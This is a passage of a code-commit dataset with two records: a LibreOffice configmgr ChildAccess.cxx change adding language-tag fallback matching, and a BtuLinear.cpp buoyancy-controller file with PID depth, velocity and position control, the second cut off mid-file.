reinterpret_cast< sal_uInt8 * >(uuid.getArray()), 0, false);\n id = uuid;\n }\n return id;\n}\n\nChildAccess::ChildAccess(\n Components & components, rtl::Reference< RootAccess > const & root,\n rtl::Reference< Access > const & parent, rtl::OUString const & name,\n rtl::Reference< Node > const & node):\n Access(components), root_(root), parent_(parent), name_(name), node_(node),\n inTransaction_(false)\n{\n lock_ = lock();\n OSL_ASSERT(root.is() && parent.is() && node.is());\n}\n\nChildAccess::ChildAccess(\n Components & components, rtl::Reference< RootAccess > const & root,\n rtl::Reference< Node > const & node):\n Access(components), root_(root), node_(node), inTransaction_(false)\n{\n lock_ = lock();\n OSL_ASSERT(root.is() && node.is());\n}\n\nPath ChildAccess::getAbsolutePath() {\n OSL_ASSERT(getParentAccess().is());\n Path path(getParentAccess()->getAbsolutePath());\n path.push_back(name_);\n return path;\n}\n\nPath ChildAccess::getRelativePath() {\n Path path;\n rtl::Reference< Access > parent(getParentAccess());\n if (parent.is()) {\n path = parent->getRelativePath();\n }\n path.push_back(name_);\n return path;\n}\n\nrtl::OUString ChildAccess::getRelativePathRepresentation() {\n rtl::OUStringBuffer path;\n rtl::Reference< Access > parent(getParentAccess());\n if (parent.is()) {\n path.append(parent->getRelativePathRepresentation());\n if (path.getLength() != 0) {\n path.append(sal_Unicode('\/'));\n }\n }\n path.append(Data::createSegment(node_->getTemplateName(), name_));\n return path.makeStringAndClear();\n}\n\nrtl::Reference< Node > ChildAccess::getNode() {\n return node_;\n}\n\nbool ChildAccess::isFinalized() {\n return node_->getFinalized() != Data::NO_LAYER ||\n (parent_.is() && parent_->isFinalized());\n}\n\nrtl::OUString ChildAccess::getNameInternal() {\n return name_;\n}\n\nrtl::Reference< RootAccess > ChildAccess::getRootAccess() {\n return root_;\n}\n\nrtl::Reference< Access > ChildAccess::getParentAccess() {\n return parent_;\n}\n\nvoid ChildAccess::acquire() throw () {\n Access::acquire();\n}\n\nvoid ChildAccess::release() throw () {\n Access::release();\n}\n\ncss::uno::Reference< css::uno::XInterface > ChildAccess::getParent()\n throw (css::uno::RuntimeException)\n{\n OSL_ASSERT(thisIs(IS_ANY));\n osl::MutexGuard g(*lock_);\n checkLocalizedPropertyAccess();\n return static_cast< cppu::OWeakObject * >(parent_.get());\n}\n\nvoid ChildAccess::setParent(css::uno::Reference< css::uno::XInterface > const &)\n throw (css::lang::NoSupportException, css::uno::RuntimeException)\n{\n OSL_ASSERT(thisIs(IS_ANY));\n osl::MutexGuard g(*lock_);\n checkLocalizedPropertyAccess();\n throw css::lang::NoSupportException(\n rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"setParent\")),\n static_cast< cppu::OWeakObject * >(this));\n}\n\nsal_Int64 ChildAccess::getSomething(\n css::uno::Sequence< sal_Int8 > const & aIdentifier)\n throw (css::uno::RuntimeException)\n{\n OSL_ASSERT(thisIs(IS_ANY));\n osl::MutexGuard g(*lock_);\n checkLocalizedPropertyAccess();\n return aIdentifier == getTunnelId()\n ? reinterpret_cast< sal_Int64 >(this) : 0;\n}\n\nvoid ChildAccess::bind(\n rtl::Reference< RootAccess > const & root,\n rtl::Reference< Access > const & parent, rtl::OUString const & name)\n throw ()\n{\n OSL_ASSERT(\n !parent_.is() && root.is() && parent.is() && name.getLength() != 0);\n root_ = root;\n parent_ = parent;\n name_ = name;\n}\n\nvoid ChildAccess::unbind() throw () {\n OSL_ASSERT(parent_.is());\n parent_->releaseChild(name_);\n parent_.clear();\n inTransaction_ = true;\n}\n\nvoid ChildAccess::committed() {\n inTransaction_ = false;\n}\n\nvoid ChildAccess::setNode(rtl::Reference< Node > const & node) {\n node_ = node;\n}\n\nvoid ChildAccess::setProperty(\n css::uno::Any const & value, Modifications * localModifications)\n{\n OSL_ASSERT(localModifications != 0);\n Type type = TYPE_ERROR;\n bool nillable = false;\n switch (node_->kind()) {\n case Node::KIND_PROPERTY:\n {\n PropertyNode * prop = dynamic_cast< PropertyNode * >(node_.get());\n type = prop->getStaticType();\n nillable = prop->isNillable();\n }\n break;\n case Node::KIND_LOCALIZED_PROPERTY:\n {\n rtl::OUString locale(getRootAccess()->getLocale());\n if (!Components::allLocales(locale)) {\n rtl::Reference< ChildAccess > child(getChild(locale));\n if (child.is()) {\n child->setProperty(value, localModifications);\n } else {\n insertLocalizedValueChild(\n locale, value, localModifications);\n }\n return;\n }\n }\n break;\n case Node::KIND_LOCALIZED_VALUE:\n {\n LocalizedPropertyNode * locprop =\n dynamic_cast< LocalizedPropertyNode * >(getParentNode().get());\n type = locprop->getStaticType();\n nillable = locprop->isNillable();\n }\n break;\n default:\n break;\n }\n checkValue(value, type, nillable);\n getParentAccess()->markChildAsModified(this);\n changedValue_.reset(new css::uno::Any(value));\n localModifications->add(getRelativePath());\n}\n\ncss::uno::Any ChildAccess::asValue() {\n if (changedValue_.get() != 0) {\n return *changedValue_;\n }\n switch (node_->kind()) {\n case Node::KIND_PROPERTY:\n return dynamic_cast< PropertyNode * >(node_.get())->getValue(\n getComponents());\n case Node::KIND_LOCALIZED_PROPERTY:\n {\n rtl::OUString locale(getRootAccess()->getLocale());\n if (!Components::allLocales(locale)) {\n \/\/ Find best match using an adaption of RFC 4647 lookup matching\n \/\/ rules, removing \"-\" or \"_\" delimited segments from the end;\n \/\/ defaults are the \"en-US\" locale, the \"en\" locale, the empty\n \/\/ string locale, the first child (if any), or a nil value (even\n \/\/ though it may be illegal for the given property), in that\n \/\/ order:\n rtl::Reference< ChildAccess > child;\n for (;;) {\n child = getChild(locale);\n if (child.is() || locale.getLength() == 0) {\n break;\n }\n sal_Int32 i = locale.getLength() - 1;\n while (i > 0 && locale[i] != '-' && locale[i] != '_') {\n --i;\n }\n if (i == 0) {\n break;\n }\n locale = locale.copy(0, i);\n }\n if (!child.is()) {\n child = getChild(\n rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"en-US\")));\n if (!child.is()) {\n child = getChild(\n rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"en\")));\n if (!child.is()) {\n child = getChild(rtl::OUString());\n if (!child.is()) {\n std::vector< rtl::Reference< ChildAccess > >\n all(getAllChildren());\n if (!all.empty()) {\n child = all.front();\n }\n }\n }\n }\n }\n return child.is() ? child->asValue() : css::uno::Any();\n }\n }\n break;\n case Node::KIND_LOCALIZED_VALUE:\n return dynamic_cast< LocalizedValueNode * >(node_.get())->getValue();\n default:\n break;\n }\n return css::uno::makeAny(\n css::uno::Reference< css::uno::XInterface >(\n static_cast< cppu::OWeakObject * >(this)));\n}\n\nvoid ChildAccess::commitChanges(bool valid, Modifications * globalModifications)\n{\n OSL_ASSERT(globalModifications != 0);\n commitChildChanges(valid, globalModifications);\n if (valid && changedValue_.get() != 0) {\n Path path(getAbsolutePath());\n getComponents().addModification(path);\n globalModifications->add(path);\n switch (node_->kind()) {\n case Node::KIND_PROPERTY:\n dynamic_cast< PropertyNode * >(node_.get())->setValue(\n Data::NO_LAYER, *changedValue_);\n break;\n case Node::KIND_LOCALIZED_VALUE:\n dynamic_cast< LocalizedValueNode * >(node_.get())->setValue(\n Data::NO_LAYER, *changedValue_);\n break;\n default:\n OSL_ASSERT(false); \/\/ this cannot happen\n break;\n }\n }\n changedValue_.reset();\n}\n\nChildAccess::~ChildAccess() {\n osl::MutexGuard g(*lock_);\n if (parent_.is()) {\n parent_->releaseChild(name_);\n }\n}\n\nvoid ChildAccess::addTypes(std::vector< css::uno::Type > * types) const {\n OSL_ASSERT(types != 0);\n types->push_back(cppu::UnoType< css::container::XChild >::get());\n types->push_back(cppu::UnoType< css::lang::XUnoTunnel >::get());\n}\n\nvoid ChildAccess::addSupportedServiceNames(\n std::vector< rtl::OUString > * services)\n{\n OSL_ASSERT(services != 0);\n services->push_back(\n getParentNode()->kind() == Node::KIND_GROUP\n ? rtl::OUString(\n RTL_CONSTASCII_USTRINGPARAM(\n \"com.sun.star.configuration.GroupElement\"))\n : rtl::OUString(\n RTL_CONSTASCII_USTRINGPARAM(\n \"com.sun.star.configuration.SetElement\")));\n}\n\ncss::uno::Any ChildAccess::queryInterface(css::uno::Type const & aType)\n throw (css::uno::RuntimeException)\n{\n OSL_ASSERT(thisIs(IS_ANY));\n osl::MutexGuard g(*lock_);\n checkLocalizedPropertyAccess();\n css::uno::Any res(Access::queryInterface(aType));\n return res.hasValue()\n ? res\n : cppu::queryInterface(\n aType, static_cast< css::container::XChild * >(this),\n static_cast< css::lang::XUnoTunnel * >(this));\n}\n\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>Resolves: fdo#33638 add extra level of language tag matching<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*************************************************************************\n*\n* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n*\n* Copyright 2000, 2010 Oracle and\/or its affiliates.\n*\n* OpenOffice.org - a multi-platform office productivity suite\n*\n* This file is part of OpenOffice.org.\n*\n* OpenOffice.org is free software: you can redistribute it and\/or modify\n* it under the terms of the GNU Lesser General Public License version 3\n* only, as published by the Free Software Foundation.\n*\n* OpenOffice.org is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU Lesser General Public License version 3 for more details\n* (a copy is included in the LICENSE file that accompanied this code).\n*\n* You should have received a copy of the GNU Lesser General Public License\n* version 3 along with OpenOffice.org. If not, see\n* <http:\/\/www.openoffice.org\/license.html>\n* for a copy of the LGPLv3 License.\n*\n************************************************************************\/\n\n#include \"precompiled_configmgr.hxx\"\n#include \"sal\/config.h\"\n\n#include <vector>\n\n#include \"com\/sun\/star\/container\/XChild.hpp\"\n#include \"com\/sun\/star\/lang\/NoSupportException.hpp\"\n#include \"com\/sun\/star\/lang\/XUnoTunnel.hpp\"\n#include \"com\/sun\/star\/uno\/Any.hxx\"\n#include \"com\/sun\/star\/uno\/Reference.hxx\"\n#include \"com\/sun\/star\/uno\/RuntimeException.hpp\"\n#include \"com\/sun\/star\/uno\/Sequence.hxx\"\n#include \"com\/sun\/star\/uno\/Type.hxx\"\n#include \"com\/sun\/star\/uno\/XInterface.hpp\"\n#include \"cppu\/unotype.hxx\"\n#include \"cppuhelper\/queryinterface.hxx\"\n#include \"cppuhelper\/weak.hxx\"\n#include \"osl\/diagnose.h\"\n#include \"osl\/mutex.hxx\"\n#include \"rtl\/ref.hxx\"\n#include \"rtl\/string.h\"\n#include \"rtl\/ustrbuf.hxx\"\n#include \"rtl\/ustring.h\"\n#include \"rtl\/ustring.hxx\"\n#include \"rtl\/uuid.h\"\n#include \"sal\/types.h\"\n\n#include \"access.hxx\"\n#include \"childaccess.hxx\"\n#include \"components.hxx\"\n#include \"data.hxx\"\n#include \"groupnode.hxx\"\n#include \"localizedpropertynode.hxx\"\n#include \"localizedvaluenode.hxx\"\n#include \"lock.hxx\"\n#include \"modifications.hxx\"\n#include \"node.hxx\"\n#include \"path.hxx\"\n#include \"propertynode.hxx\"\n#include \"rootaccess.hxx\"\n#include \"setnode.hxx\"\n#include \"type.hxx\"\n\nnamespace configmgr {\n\nnamespace {\n\nnamespace css = com::sun::star;\n\n}\n\ncss::uno::Sequence< sal_Int8 > ChildAccess::getTunnelId() {\n static css::uno::Sequence< sal_Int8 > id;\n if (id.getLength() == 0) {\n css::uno::Sequence< sal_Int8 > uuid(16);\n rtl_createUuid(\n reinterpret_cast< sal_uInt8 * >(uuid.getArray()), 0, false);\n id = uuid;\n }\n return id;\n}\n\nChildAccess::ChildAccess(\n Components & components, rtl::Reference< RootAccess > const & root,\n rtl::Reference< Access > const & parent, rtl::OUString const & name,\n rtl::Reference< Node > const & node):\n Access(components), root_(root), parent_(parent), name_(name), node_(node),\n inTransaction_(false)\n{\n lock_ = lock();\n OSL_ASSERT(root.is() && parent.is() && node.is());\n}\n\nChildAccess::ChildAccess(\n Components & components, rtl::Reference< RootAccess > const & root,\n rtl::Reference< Node > const & node):\n Access(components), root_(root), node_(node), inTransaction_(false)\n{\n lock_ = lock();\n OSL_ASSERT(root.is() && node.is());\n}\n\nPath ChildAccess::getAbsolutePath() {\n OSL_ASSERT(getParentAccess().is());\n Path path(getParentAccess()->getAbsolutePath());\n path.push_back(name_);\n return path;\n}\n\nPath ChildAccess::getRelativePath() {\n Path path;\n rtl::Reference< Access > parent(getParentAccess());\n if (parent.is()) {\n path = parent->getRelativePath();\n }\n path.push_back(name_);\n return path;\n}\n\nrtl::OUString ChildAccess::getRelativePathRepresentation() {\n rtl::OUStringBuffer path;\n rtl::Reference< Access > parent(getParentAccess());\n if (parent.is()) {\n path.append(parent->getRelativePathRepresentation());\n if (path.getLength() != 0) {\n path.append(sal_Unicode('\/'));\n }\n }\n path.append(Data::createSegment(node_->getTemplateName(), name_));\n return path.makeStringAndClear();\n}\n\nrtl::Reference< Node > ChildAccess::getNode() {\n return node_;\n}\n\nbool ChildAccess::isFinalized() {\n return node_->getFinalized() != Data::NO_LAYER ||\n (parent_.is() && parent_->isFinalized());\n}\n\nrtl::OUString ChildAccess::getNameInternal() {\n return name_;\n}\n\nrtl::Reference< RootAccess > ChildAccess::getRootAccess() {\n return root_;\n}\n\nrtl::Reference< Access > ChildAccess::getParentAccess() {\n return parent_;\n}\n\nvoid ChildAccess::acquire() throw () {\n Access::acquire();\n}\n\nvoid ChildAccess::release() throw () {\n Access::release();\n}\n\ncss::uno::Reference< css::uno::XInterface > ChildAccess::getParent()\n throw (css::uno::RuntimeException)\n{\n OSL_ASSERT(thisIs(IS_ANY));\n osl::MutexGuard g(*lock_);\n checkLocalizedPropertyAccess();\n return static_cast< cppu::OWeakObject * >(parent_.get());\n}\n\nvoid ChildAccess::setParent(css::uno::Reference< css::uno::XInterface > const &)\n throw (css::lang::NoSupportException, css::uno::RuntimeException)\n{\n OSL_ASSERT(thisIs(IS_ANY));\n osl::MutexGuard g(*lock_);\n checkLocalizedPropertyAccess();\n throw css::lang::NoSupportException(\n rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"setParent\")),\n static_cast< cppu::OWeakObject * >(this));\n}\n\nsal_Int64 ChildAccess::getSomething(\n css::uno::Sequence< sal_Int8 > const & aIdentifier)\n throw (css::uno::RuntimeException)\n{\n OSL_ASSERT(thisIs(IS_ANY));\n osl::MutexGuard g(*lock_);\n checkLocalizedPropertyAccess();\n return aIdentifier == getTunnelId()\n ? reinterpret_cast< sal_Int64 >(this) : 0;\n}\n\nvoid ChildAccess::bind(\n rtl::Reference< RootAccess > const & root,\n rtl::Reference< Access > const & parent, rtl::OUString const & name)\n throw ()\n{\n OSL_ASSERT(\n !parent_.is() && root.is() && parent.is() && name.getLength() != 0);\n root_ = root;\n parent_ = parent;\n name_ = name;\n}\n\nvoid ChildAccess::unbind() throw () {\n OSL_ASSERT(parent_.is());\n parent_->releaseChild(name_);\n parent_.clear();\n inTransaction_ = true;\n}\n\nvoid ChildAccess::committed() {\n inTransaction_ = false;\n}\n\nvoid ChildAccess::setNode(rtl::Reference< Node > const & node) {\n node_ = node;\n}\n\nvoid ChildAccess::setProperty(\n css::uno::Any const & value, Modifications * localModifications)\n{\n OSL_ASSERT(localModifications != 0);\n Type type = TYPE_ERROR;\n bool nillable = false;\n switch (node_->kind()) {\n case Node::KIND_PROPERTY:\n {\n PropertyNode * prop = dynamic_cast< PropertyNode * >(node_.get());\n type = prop->getStaticType();\n nillable = prop->isNillable();\n }\n break;\n case Node::KIND_LOCALIZED_PROPERTY:\n {\n rtl::OUString locale(getRootAccess()->getLocale());\n if (!Components::allLocales(locale)) {\n rtl::Reference< ChildAccess > child(getChild(locale));\n if (child.is()) {\n child->setProperty(value, localModifications);\n } else {\n insertLocalizedValueChild(\n locale, value, localModifications);\n }\n return;\n }\n }\n break;\n case Node::KIND_LOCALIZED_VALUE:\n {\n LocalizedPropertyNode * locprop =\n dynamic_cast< LocalizedPropertyNode * >(getParentNode().get());\n type = locprop->getStaticType();\n nillable = locprop->isNillable();\n }\n break;\n default:\n break;\n }\n checkValue(value, type, nillable);\n getParentAccess()->markChildAsModified(this);\n changedValue_.reset(new css::uno::Any(value));\n localModifications->add(getRelativePath());\n}\n\nnamespace\n{\n rtl::OUString lcl_StripSegment(const rtl::OUString &rLocale)\n {\n sal_Int32 i = rLocale.getLength() ? rLocale.getLength() - 1 : 0;\n while (i > 0 && rLocale[i] != '-' && rLocale[i] != '_')\n --i;\n return rLocale.copy(0, i);\n }\n}\n\ncss::uno::Any ChildAccess::asValue() {\n if (changedValue_.get() != 0) {\n return *changedValue_;\n }\n switch (node_->kind()) {\n case Node::KIND_PROPERTY:\n return dynamic_cast< PropertyNode * >(node_.get())->getValue(\n getComponents());\n case Node::KIND_LOCALIZED_PROPERTY:\n {\n rtl::OUString sLocale(getRootAccess()->getLocale());\n if (!Components::allLocales(sLocale))\n {\n rtl::Reference< ChildAccess > child;\n \/\/ Find best match using an adaption of RFC 4647 lookup matching\n \/\/ rules, removing \"-\" or \"_\" delimited segments from the end\n while (1)\n {\n child = getChild(sLocale);\n if (child.is())\n break;\n rtl::OUString sTmpLocale = lcl_StripSegment(sLocale);\n if (!sTmpLocale.getLength())\n break;\n sLocale = sTmpLocale;\n }\n\n \/\/Resolves: fdo#33638 Look for the first entry with the same\n \/\/first segment as the requested language tag, before falling\n \/\/back to en-US, etc.\n typedef std::vector< rtl::Reference< ChildAccess > > ChildVector;\n if (!child.is())\n {\n const ChildVector &rAllChildren = getAllChildren();\n for (ChildVector::const_iterator aI = rAllChildren.begin(),\n aEnd = rAllChildren.end(); aI != aEnd; ++aI)\n {\n rtl::OUString sLanguage = lcl_StripSegment((*aI)->getNameInternal());\n if (sLocale == sLanguage)\n {\n child = *aI;\n break;\n }\n }\n }\n\n \/\/ defaults are the \"en-US\" locale, the \"en\" locale, the empty\n \/\/ string locale, the first child (if any), or a nil value (even\n \/\/ though it may be illegal for the given property), in that\n \/\/ order:\n if (!child.is())\n {\n child = getChild(\n rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"en-US\")));\n if (!child.is())\n {\n child = getChild(\n rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"en\")));\n if (!child.is())\n {\n child = getChild(rtl::OUString());\n if (!child.is())\n {\n ChildVector all(getAllChildren());\n if (!all.empty())\n child = all.front();\n }\n }\n }\n }\n return child.is() ? child->asValue() : css::uno::Any();\n }\n }\n break;\n case Node::KIND_LOCALIZED_VALUE:\n return dynamic_cast< LocalizedValueNode * >(node_.get())->getValue();\n default:\n break;\n }\n return css::uno::makeAny(\n css::uno::Reference< css::uno::XInterface >(\n static_cast< cppu::OWeakObject * >(this)));\n}\n\nvoid ChildAccess::commitChanges(bool valid, Modifications * globalModifications)\n{\n OSL_ASSERT(globalModifications != 0);\n commitChildChanges(valid, globalModifications);\n if (valid && changedValue_.get() != 0) {\n Path path(getAbsolutePath());\n getComponents().addModification(path);\n globalModifications->add(path);\n switch (node_->kind()) {\n case Node::KIND_PROPERTY:\n dynamic_cast< PropertyNode * >(node_.get())->setValue(\n Data::NO_LAYER, *changedValue_);\n break;\n case Node::KIND_LOCALIZED_VALUE:\n dynamic_cast< LocalizedValueNode * >(node_.get())->setValue(\n Data::NO_LAYER, *changedValue_);\n break;\n default:\n OSL_ASSERT(false); \/\/ this cannot happen\n break;\n }\n }\n changedValue_.reset();\n}\n\nChildAccess::~ChildAccess() {\n osl::MutexGuard g(*lock_);\n if (parent_.is()) {\n parent_->releaseChild(name_);\n }\n}\n\nvoid ChildAccess::addTypes(std::vector< css::uno::Type > * types) const {\n OSL_ASSERT(types != 0);\n types->push_back(cppu::UnoType< css::container::XChild >::get());\n types->push_back(cppu::UnoType< css::lang::XUnoTunnel >::get());\n}\n\nvoid ChildAccess::addSupportedServiceNames(\n std::vector< rtl::OUString > * services)\n{\n OSL_ASSERT(services != 0);\n services->push_back(\n getParentNode()->kind() == Node::KIND_GROUP\n ? rtl::OUString(\n RTL_CONSTASCII_USTRINGPARAM(\n \"com.sun.star.configuration.GroupElement\"))\n : rtl::OUString(\n RTL_CONSTASCII_USTRINGPARAM(\n \"com.sun.star.configuration.SetElement\")));\n}\n\ncss::uno::Any ChildAccess::queryInterface(css::uno::Type const & aType)\n throw (css::uno::RuntimeException)\n{\n OSL_ASSERT(thisIs(IS_ANY));\n osl::MutexGuard g(*lock_);\n checkLocalizedPropertyAccess();\n css::uno::Any res(Access::queryInterface(aType));\n return res.hasValue()\n ? res\n : cppu::queryInterface(\n aType, static_cast< css::container::XChild * >(this),\n static_cast< css::lang::XUnoTunnel * >(this));\n}\n\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>#include \"BtuLinear.h\"\n\nBtuLinear::BtuLinear():\n m_depthPid(DEP_KC, DEP_KI, DEP_KD, PID_FREQ, DEPTH_MIN, DEPTH_MAX, VEL_MIN, VEL_MAX, 0),\n m_actA(PIN_ACTA_PWM, PIN_ACTA_DIR, PIN_ACTA_POT, PID_FREQ),\n m_actB(PIN_ACTB_PWM, PIN_ACTB_DIR, PIN_ACTB_POT, PID_FREQ),\n\tm_pressureSensor(PIN_IMU_SDA, PIN_IMU_SCL),\n m_dryRunPot(DRY_RUN_POT_PIN)\n{\n m_dryRun = false;\n};\n\nBtuLinear::BtuLinear(bool dryRun):\n m_depthPid(DEP_K_C, DEP_TAU_I, DEP_TAU_D, PID_FREQ, DEPTH_MIN, DEPTH_MAX, VEL_MIN, VEL_MAX, 0),\n m_actA(PIN_ACTA_PWM, PIN_ACTA_DIR, PIN_ACTA_POT, PID_FREQ),\n m_actB(PIN_ACTB_PWM, PIN_ACTB_DIR, PIN_ACTB_POT, PID_FREQ),\n\tm_pressureSensor(PIN_IMU_SDA, PIN_IMU_SCL),\n m_dryRunPot(DRY_RUN_POT_PIN)\n{\n m_dryRun = dryRun;\n};\n\nBtuLinear::~BtuLinear(){}\n\nvoid BtuLinear::init() {\n m_mode = DEFAULT_CTRL_MODE;\n\n \/\/ default gain values for depth controller\n m_kc = DEP_KC;\n m_kI = DEP_KI;\n m_kD = DEP_KD;\n\n \/\/ default gain values for position controller\n m_p_kc = POS_KC;\n m_p_kI = POS_KI;\n m_p_kD = POS_KD;\n\n \/\/ default gain values for velocity controller\n m_v_kc = VEL_KC;\n m_v_kI = VEL_KI;\n m_v_kD = VEL_KD;\n\n \/\/ initialize Pressure Sensor\n m_pressureSensor.MS5837Init();\n m_pressureSensor.MS5837Start();\n wait(0.1); \/\/ remnant from old BTU class TODO: check if can be removed\n\n \/\/ initialize the actuators\n m_actA.reset();\n m_actB.reset();\n\n \/\/ initialize the Windows for SMA to 0\n \/\/ for(int i = 0; i < AVG_WINDOW_WIDTH; i++) {\n \/\/ m_avg_windowA[i] = 0;\n \/\/ m_avg_windowB[i] = 0;\n \/\/ }\n\n \/\/ initialize starting voltage for velocity control to 0\n \/\/ m_currentVoltage = 0;\n}\n\n\/\/ return a pressure reading\nfloat BtuLinear::getPressure() {\n return m_pressureSensor.MS5837_Pressure();\n}\n\n\/\/ resets values of the controllers\nvoid BtuLinear::stop() {\n\tm_depthPid.reset();\n m_actA.reset();\n m_actB.reset();\n\treturn;\n}\n\n\/\/ updates depth PID tunings\nvoid BtuLinear::updateDepthTunings(float kc, float kI, float kD) {\n m_kc = kc;\n m_kI = kI;\n m_kD = kD;\n m_depthPid.setTunings(kc, kI, kD);\n}\n\n\/\/ updates Position PID tunings\nvoid BtuLinear::updatePosTunings(float kc, float kI, float kD) {\n m_p_kc = kc;\n m_p_kI = kI;\n m_p_kD = kD;\n m_actA.setPosTunings(kc, kI, kD);\n m_actB.setPosTunings(kc, kI, kD);\n}\n\n\/\/ updates Velocity PID tunings\nvoid BtuLinear::updateVelTunings(float kc, float kI, float kD) {\n m_v_kc = kc;\n m_v_kI = kI;\n m_v_kD = kD;\n m_actA.setVelTunings(kc, kI, kD);\n m_actB.setVelTunings(kc, kI, kD);\n}\n\n\/\/ updates Mode. Resets most values if the mode has changed\nvoid BtuLinear::updateMode(int mode) {\n if(m_mode != mode) {\n stop();\n m_mode = mode;\n }\n}\n\n\/\/ runs one cycle of the controller dictated by mode\nvoid BtuLinear::runCycle(float setVal) {\n switch (m_mode) {\n\n case VOLTAGE_CTRL_MODE:\n voltageControl(setVal);\n break;\n\n case VELOCITY_CTRL_MODE:\n velocityControl(setVal);\n break;\n\n case DEPTH_CTRL_MODE:\n depthControl(setVal);\n break;\n\n case POSITION_CTRL_MODE:\n positionControl(setVal);\n break;\n }\n}\n\n\/\/ convenience function, updates mode, then runs a cycle in the chosen mode\nvoid BtuLinear::updateAndRunCycle(int mode, float value) {\n updateMode(mode);\n runCycle(value);\n}\n\n\n\/\/ calls voltageControlHelper on both actuators\nvoid BtuLinear::voltageControl(float setDuty) {\n m_actA.runVoltControl(setDuty);\n m_actB.runVoltControl(setDuty);\n}\n\n\/\/ updates the SMA window with the current position reading\n\/*\nvoid BtuLinear::updatePositionReadings() {\n float aPosition = m_actAPot;\n float bPosition = m_actBPot;\n\n float aOldPos = m_avg_windowA[m_avg_windowPtr];\n float bOldPos = m_avg_windowB[m_avg_windowPtr];\n m_avg_windowA[m_avg_windowPtr] = aPosition;\n m_avg_windowB[m_avg_windowPtr] = bPosition;\n m_avg_windowPtr = (m_avg_windowPtr+1) % AVG_WINDOW_WIDTH;\n if(m_avg_windowSize >= AVG_WINDOW_WIDTH) {\n \/\/ buffer is full\n \tm_currentAvgA = m_currentAvgA + (aPosition \/ AVG_WINDOW_WIDTH)- (aOldPos \/ AVG_WINDOW_WIDTH);\n m_currentAvgB = m_currentAvgB + (bPosition \/ AVG_WINDOW_WIDTH)- (bOldPos \/ AVG_WINDOW_WIDTH);\n } else {\n \t\/\/ buffer is still filling up\n m_avg_windowSize++;\n m_currentAvgA = 0;\n m_currentAvgB = 0;\n for(int i = 0; i < m_avg_windowSize; i++) {\n m_currentAvgA = (m_avg_windowA[i] \/ m_avg_windowSize);\n m_currentAvgB = (m_avg_windowB[i] \/ m_avg_windowSize);\n }\n }\n}\n*\/\n\n\/\/ gets the current Actuator Position. No SMA, just reads and rescales the potentiometer\nfloat BtuLinear::getActPosition(int act) {\n if(act == ACT_A) {\n return m_actA.getPosition();\n } else {\n return m_actB.getPosition();\n }\n}\n\n\n\/\/ does velocity control on both actuators\nvoid BtuLinear::velocityControl(float setVel) {\n m_actA.runVelControl(setVel);\n m_actB.runVelControl(setVel);\n}\n\n\/\/ control position of both actuators\nvoid BtuLinear::positionControl(float setPos) {\n m_actA.runPosControl(setPos);\n m_actB.runPosControl(setPos);\n}\n\n\/\/ control depth via master-slave\nvoid BtuLinear::depthControlHelper(float cmdVoltage) {\n\t\/\/ control velocity on one actuator\n m_actA.runVoltControl(cmdVoltage);\n \/\/ have the second mirror the first\n m_actB.runPosControl(m_actA.getPosition());\n}\n\n\/\/ do depth control\nvoid BtuLinear::depthControl(float setDepthMeters) {\n float curDepth = getDepth();\n\n m_depthPid.setProcessValue(curDepth);\n\tm_depthPid.setSetPoint(setDepthMeters);\n\n float cmdVolt = m_depthPid.compute();\n\n \/\/ extending the actuator increases buoyancy -> less depth\n \/\/ therefore the axis direction has to be reversed\n depthControlHelper( -1 * cmdVolt );\n}\n\n\/\/ get a depth reading\nfloat BtuLinear::getDepth() {\n if(m_dryRun) {\n float pvDepth = m_dryRunPot * (DEPTH_MAX);\n return pvDepth;\n }\n float pvDepth = getPressure();\n float pvDepthMeters = (pvDepth - P_ATMOS_MBAR) \/ P_WATER_SURFACE_MBAR;\n return pvDepthMeters;\n}\n<commit_msg>fixed more merge conflicts<commit_after>#include \"BtuLinear.h\"\n\nBtuLinear::BtuLinear():\n m_depthPid(DEP_KC, DEP_KI, DEP_KD, PID_FREQ, DEPTH_MIN, DEPTH_MAX, VEL_MIN, VEL_MAX, 0),\n m_actA(PIN_ACTA_PWM, PIN_ACTA_DIR, PIN_ACTA_POT, PID_FREQ),\n m_actB(PIN_ACTB_PWM, PIN_ACTB_DIR, PIN_ACTB_POT, PID_FREQ),\n\tm_pressureSensor(PIN_IMU_SDA, PIN_IMU_SCL),\n m_dryRunPot(DRY_RUN_POT_PIN)\n{\n m_dryRun = false;\n};\n\nBtuLinear::BtuLinear(bool dryRun):\n m_depthPid(DEP_K_C, DEP_TAU_I, DEP_TAU_D, PID_FREQ, DEPTH_MIN, DEPTH_MAX, VEL_MIN, VEL_MAX, 0),\n m_actA(PIN_ACTA_PWM, PIN_ACTA_DIR, PIN_ACTA_POT, PID_FREQ),\n m_actB(PIN_ACTB_PWM, PIN_ACTB_DIR, PIN_ACTB_POT, PID_FREQ),\n\tm_pressureSensor(PIN_IMU_SDA, PIN_IMU_SCL),\n m_dryRunPot(DRY_RUN_POT_PIN)\n{\n m_dryRun = dryRun;\n};\n\nBtuLinear::~BtuLinear(){}\n\nvoid BtuLinear::init() {\n m_mode = DEFAULT_CTRL_MODE;\n\n \/\/ default gain values for depth controller\n m_kc = DEP_KC;\n m_kI = DEP_KI;\n m_kD = DEP_KD;\n\n \/\/ default gain values for position controller\n m_p_kc = POS_KC;\n m_p_kI = POS_KI;\n m_p_kD = POS_KD;\n\n \/\/ default gain values for velocity controller\n m_v_kc = VEL_KC;\n m_v_kI = VEL_KI;\n m_v_kD = VEL_KD;\n\n \/\/ initialize Pressure Sensor\n m_pressureSensor.MS5837Init();\n m_pressureSensor.MS5837Start();\n wait(0.1); \/\/ remnant from old BTU class TODO: check if can be removed\n\n \/\/ initialize the actuators\n m_actA.reset();\n m_actB.reset();\n\n \/\/ initialize the Windows for SMA to 0\n \/\/ for(int i = 0; i < 